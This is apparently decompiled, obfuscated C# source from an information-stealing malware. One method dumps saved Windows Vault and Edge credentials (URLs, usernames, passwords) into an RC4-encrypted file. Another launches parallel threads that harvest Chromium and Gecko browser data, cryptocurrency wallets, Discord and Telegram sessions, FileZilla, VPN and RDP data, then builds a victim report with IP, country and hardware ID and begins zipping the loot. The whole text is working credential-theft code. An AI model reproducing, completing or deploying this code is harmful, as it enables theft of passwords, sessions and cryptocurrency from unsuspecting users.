// Token: 0x060002EF RID: 751 RVA: 0x00015BD4 File Offset: 0x00013DD4
public static void tmethod_412(string str_0)
{
try
{
Version version = Environment.OSVersion.Version;
int major = version.Major;
int minor = version.Minor;
int num = 0;
IntPtr zero = IntPtr.Zero;
int num2 = Class_105.lmethod_378(0, ref num, ref zero);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("[ERROR] Unable to enumerate vaults. Error (0x" + num2.ToString() + ")", Array.Empty <object>()) + Environment.NewLine;
}
IntPtr ptr = zero;
Dictionary <Guid, string> dictionary = new Dictionary <Guid, string>
{
{
new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"),
"Windows Secure Note"
},
{
new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"),
"Windows Web Password Credential"
},
{
new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"),
"Windows Credential Picker Protector"
},
{
new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"),
"Web Credentials"
},
{
new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"),
"Windows Credentials"
},
{
new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"),
"Windows Domain Certificate Credential"
},
{
new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"),
"Windows Domain Password Credential"
},
{
new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"),
"Windows Extended Credential"
},
{
new Guid("00000000-0000-0000-0000-000000000000"),
null
}
};
for (int i = 0; i < num; i++)
{
object obj = Marshal.PtrToStructure(ptr, typeof(Guid));
Guid key = new Guid(obj.ToString());
ptr = (IntPtr)(ptr.ToInt64() + (long)Marshal.SizeOf(typeof(Guid)));
IntPtr zero2 = IntPtr.Zero;
string str = dictionary.ContainsKey(key) ? dictionary[key] : key.ToString();
num2 = Class_105.vmethod_375(ref key, 0U, ref zero2);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Unable to open the following vault: " + str + ". Error: 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
int num3 = 0;
IntPtr zero3 = IntPtr.Zero;
num2 = Class_105.pmethod_379(zero2, 512, ref num3, ref zero3);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("[ERROR] Unable to enumerate vault items from the following vault: " + str + ". Error 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
IntPtr ptr2 = zero3;
if (num3 > 0)
{
for (int j = 1; j <= num3; j++)
{
Type type = (major >= 6 && minor >= 2) ? typeof(Class_105.NClass_2) : typeof(Class_105.NClass_3);
object obj2 = Marshal.PtrToStructure(ptr2, type);
ptr2 = (IntPtr)(ptr2.ToInt64() + (long)Marshal.SizeOf(type));
IntPtr zero4 = IntPtr.Zero;
FieldInfo field = obj2.GetType().GetField("SchemaId");
Guid guid = new Guid(field.GetValue(obj2).ToString());
IntPtr intPtr = (IntPtr)obj2.GetType().GetField("pResourceElement").GetValue(obj2);
IntPtr intPtr2 = (IntPtr)obj2.GetType().GetField("pIdentityElement").GetValue(obj2);
ulong num4 = (ulong)obj2.GetType().GetField("LastModified").GetValue(obj2);
IntPtr intPtr3 = IntPtr.Zero;
if (major < 6 || minor < 2)
{
num2 = Class_105.xmethod_381(zero2, ref guid, intPtr, intPtr2, IntPtr.Zero, 0, ref zero4);
}
else
{
intPtr3 = (IntPtr)obj2.GetType().GetField("pPackageSid").GetValue(obj2);
num2 = Class_105.smethod_380(zero2, ref guid, intPtr, intPtr2, intPtr3, IntPtr.Zero, 0, ref zero4);
}
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Error occured while retrieving vault item. Error: 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
object obj3 = Marshal.PtrToStructure(zero4, type);
object obj4 = Class_113.gmethod_413((IntPtr)obj3.GetType().GetField("pAuthenticatorElement").GetValue(obj3));
object obj5 = null;
if (intPtr3 != IntPtr.Zero)
{
obj5 = Class_113.gmethod_413(intPtr3);
}
if (obj4 != null)
{
object obj6 = Class_113.gmethod_413(intPtr);
if (obj6 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Url: {0}", obj6) + Environment.NewLine;
}
object obj7 = Class_113.gmethod_413(intPtr2);
if (obj7 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Username: {0}", obj7) + Environment.NewLine;
}
if (obj5 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("PacakgeSid: {0}", obj5) + Environment.NewLine;
}
Class_113.field_1 = Class_113.field_1 + string.Format("Password: {0}\n\n", obj4) + Environment.NewLine;
Class_113.field_0++;
}
}
}
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli + "\\Passwords_Edge.txt", Class_47.RC4(Encoding.UTF8.GetBytes(Class_113.field_1)));
Class_113.field_1 = "";
}
catch
{
}
}
// Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0
public static void GetCollection()
{
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0();
Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm);
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
Task[] array = new Task[1];
array[0] = new Task(delegate()
{
Class_57.a();
});
CS$ < > 8__locals2.t0 = array;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
Task[] array2 = new Task[1];
array2[0] = new Task(delegate()
{
Class_53.GetChromium();
});
CS$ < > 8__locals3.t1 = array2;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
Task[] array3 = new Task[1];
array3[0] = new Task(delegate()
{
Class_53.GetGecko();
});
CS$ < > 8__locals4.t2 = array3;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
Task[] array4 = new Task[1];
array4[0] = new Task(delegate()
{
Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
});
CS$ < > 8__locals5.t3 = array4;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
Task[] array5 = new Task[1];
array5[0] = new Task(delegate()
{
Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals6.t4 = array5;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
Task[] array6 = new Task[1];
array6[0] = new Task(delegate()
{
Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals7.t5 = array6;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
Task[] array7 = new Task[1];
array7[0] = new Task(delegate()
{
Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals8.t6 = array7;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
Task[] array8 = new Task[1];
array8[0] = new Task(delegate()
{
Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals9.t7 = array8;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
Task[] array9 = new Task[1];
array9[0] = new Task(delegate()
{
Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals10.t8 = array9;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
Task[] array10 = new Task[1];
array10[0] = new Task(delegate()
{
Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals11.t9 = array10;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
Task[] array11 = new Task[1];
array11[0] = new Task(delegate()
{
Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals12.t11 = array11;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
Task[] array12 = new Task[1];
array12[0] = new Task(delegate()
{
Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals13.t12 = array12;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
Task[] array13 = new Task[1];
array13[0] = new Task(delegate()
{
Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals14.t13 = array13;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
Task[] array14 = new Task[1];
array14[0] = new Task(delegate()
{
Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals15.t14 = array14;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
Task[] array15 = new Task[1];
array15[0] = new Task(delegate()
{
Class_96.vmethod_265();
});
CS$ < > 8__locals16.t15 = array15;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1;
Task[] array16 = new Task[1];
array16[0] = new Task(delegate()
{
Class_83.kmethod_247();
});
CS$ < > 8__locals17.t16 = array16;
try
{
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t0;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t1;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t2;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t3;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t4;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t5;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t6;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t7;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t8;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t9;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t11;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t12;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t13;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t14;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t15;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t16;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
Task.WaitAll(CS$ < > 8__locals1.t0);
Task.WaitAll(CS$ < > 8__locals1.t1);
Task.WaitAll(CS$ < > 8__locals1.t2);
Task.WaitAll(CS$ < > 8__locals1.t3);
Task.WaitAll(CS$ < > 8__locals1.t4);
Task.WaitAll(CS$ < > 8__locals1.t5);
Task.WaitAll(CS$ < > 8__locals1.t6);
Task.WaitAll(CS$ < > 8__locals1.t7);
Task.WaitAll(CS$ < > 8__locals1.t8);
Task.WaitAll(CS$ < > 8__locals1.t9);
Task.WaitAll(CS$ < > 8__locals1.t11);
Task.WaitAll(CS$ < > 8__locals1.t12);
Task.WaitAll(CS$ < > 8__locals1.t13);
Task.WaitAll(CS$ < > 8__locals1.t14);
Task.WaitAll(CS$ < > 8__locals1.t15);
Task.WaitAll(CS$ < > 8__locals1.t16);
}
catch
{
}
GC.Collect();
try
{
Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq);
}
catch
{
}
try
{
Class_57.b();
Class_93.Copy();
}
catch
{
}
Class_5.field_4.Clear();
Class_5.field_5.Clear();
Class_5.field_6.Clear();
GC.Collect();
string s = string.Concat(new string[]
{
"<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">",
Class_103.field_0,
"</h1>\n<p style=\"color:white\">\ud83d\udc64 ",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
"/",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ",
Class_47.IP(),
Class_47.Country(),
Class_47.checc(),
"</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\"> ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\"> ∟Chromium: ",
Class_49.field_1.ToString(),
"</p>\n<p style=\"color:white;margin-left:-1.5em\"> ∟Edge: ",
Class_113.field_0.ToString(),
"</p>\n<p style=\"color:white;margin-left:-0.9em\"> ∟Gecko: ",
Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83c\udf6a",
(Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
"</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83d\udd51",
Class_49.field_5.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4.5em\"> ∟\ud83d\udcdd",
Class_49.field_2.ToString(),
"</p>\n<p style=\"color:white;margin-left:-5.5em\"> ∟\ud83d\udcb3",
Class_49.field_6.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4.8em\"> ∟⨭",
Class_49.field_3.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ",
(Class_54.field_0 > 0) ? "✅" : "❌",
(Class_79.field_0 > 0) ? " Electrum" : "",
(Class_73.field_0 > 0) ? " Armory" : "",
(Class_4.field_0 > 0) ? " Atomic" : "",
(Class_20.field_0 > 0) ? " BitcoinCore" : "",
(Class_80.field_0 > 0) ? " Bytecoin" : "",
(Class_94.field_0 > 0) ? " DashCore" : "",
(Class_18.field_0 > 0) ? " Ethereum" : "",
(Class_90.field_0 > 0) ? " Exodus" : "",
(Class_6.field_0 > 0) ? " LitecoinCore" : "",
(Class_55.field_0 > 0) ? " Monero" : "",
(Class_89.field_0 > 0) ? " Zcash" : "",
(Class_15.field_0 > 0) ? " Jaxx" : "",
"</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ",
Class_5.field_1.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ",
Class_5.field_3.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ",
Class_5.field_2.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ",
(Class_17.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">✈️ Telegram: ",
(Class_96.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ",
(Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌",
(Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
(Class_11.field_0 > 0) ? " Psi" : "",
"</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\"> ∟ FileZilla: ",
(Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌",
"</p>\n<p style=\"color:white\"> ∟ TotalCmd: ",
(Class_3.field_0 > 0) ? "✅" : "❌",
"</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\"> ∟ NordVPN: ",
(Class_7.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\"> ∟ OpenVPN: ",
(Class_91.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\"> ∟ ProtonVPN: ",
(Class_10.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ",
Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
"</p>\n<p style=\"color:white\">⚙️ ",
Class_14.smethod_40(),
"</p>\n<p style=\"color:white\">\ud83d\udd0e ",
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf,
"</p>\n</center>\n</body>\n</html>"
});
string s2 = string.Concat(new string[]
{
Class_103.field_0,
"\nComputer: ",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
"/",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"\nIP: ",
Class_47.IP(),
Class_47.Country(),
Class_47.checc(),
"\nBrowsers Data\n ∟Passwords:\n ∟Chromium: ",
Class_49.field_1.ToString(),
"\n ∟Edge: ",
Class_113.field_0.ToString(),
"\n ∟Gecko: ",
Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
"\n ∟Cookies:",
(Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
"\n ∟History:",
Class_49.field_5.ToString(),
"\n ∟Autofills:",
Class_49.field_2.ToString(),
"\n ∟CC:",
Class_49.field_6.ToString(),
"\n ∟Downloads:",
Class_49.field_3.ToString(),
"\nWallets: ",
(Class_54.field_0 > 0) ? "Yes" : "No",
(Class_79.field_0 > 0) ? " Electrum" : "",
(Class_73.field_0 > 0) ? " Armory" : "",
(Class_4.field_0 > 0) ? " Atomic" : "",
(Class_20.field_0 > 0) ? " BitcoinCore" : "",
(Class_80.field_0 > 0) ? " Bytecoin" : "",
(Class_94.field_0 > 0) ? " DashCore" : "",
(Class_18.field_0 > 0) ? " Ethereum" : "",
(Class_90.field_0 > 0) ? " Exodus" : "",
(Class_6.field_0 > 0) ? " LitecoinCore" : "",
(Class_55.field_0 > 0) ? " Monero" : "",
(Class_89.field_0 > 0) ? " Zcash" : "",
(Class_15.field_0 > 0) ? " Jaxx" : "",
"\nFileGrabber: ",
Class_5.field_1.ToString(),
"\nRecursive Wallets: ",
Class_5.field_3.ToString(),
"\nRDP: ",
Class_5.field_2.ToString(),
"\nDiscord: ",
(Class_17.field_0 > 0) ? "Yes" : "No",
"\nTelegram: ",
(Class_96.field_0 > 0) ? "Yes" : "No",
"\nJabber: ",
(Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No",
(Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
(Class_11.field_0 > 0) ? " Psi" : "",
"\nFTP\n ∟ FileZilla: ",
(Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No",
"\n ∟ TotalCmd: ",
(Class_3.field_0 > 0) ? "Yes" : "No",
"\nVPN\n ∟ NordVPN: ",
(Class_7.field_0 > 0) ? "Yes" : "No",
"\n ∟ OpenVPN: ",
(Class_91.field_0 > 0) ? "Yes" : "No",
"\n ∟ ProtonVPN: ",
(Class_10.field_0 > 0) ? "Yes" : "No",
"\nHWID: ",
Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
"\nDomains: ",
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf
});
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s)));
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2)));
string str_ = string.Concat(new string[]
{
Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm,
"\\",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
Class_47.CountryCOde(),
".zip"
});
using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866")))
{
class_.prop_34 = -1L;
class_.prop_17 = Class_169.Always;
class_.prop_9 = Class_202.BestCompression;
